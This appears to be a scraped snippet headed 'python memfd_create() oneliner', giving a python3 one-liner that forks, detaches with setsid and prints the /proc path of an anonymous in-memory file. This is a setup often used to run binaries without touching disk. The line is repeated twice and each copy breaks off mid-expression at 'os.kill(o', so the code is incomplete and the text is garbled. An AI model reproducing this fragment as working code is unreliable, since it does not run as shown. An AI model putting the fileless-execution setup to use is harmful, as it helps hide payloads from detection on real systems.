python memfd_create() oneliner: python3 -c "import os;os.fork()or(os.setsid(),print(f\"/proc/{os.getpid()}/fd/{os.memfd_create(str())}\"),os.kill(o

python memfd_create() oneliner: python3 -c "import os;os.fork()or(os.setsid(),print(f\"/proc/{os.getpid()}/fd/{os.memfd_create(str())}\"),os.kill(o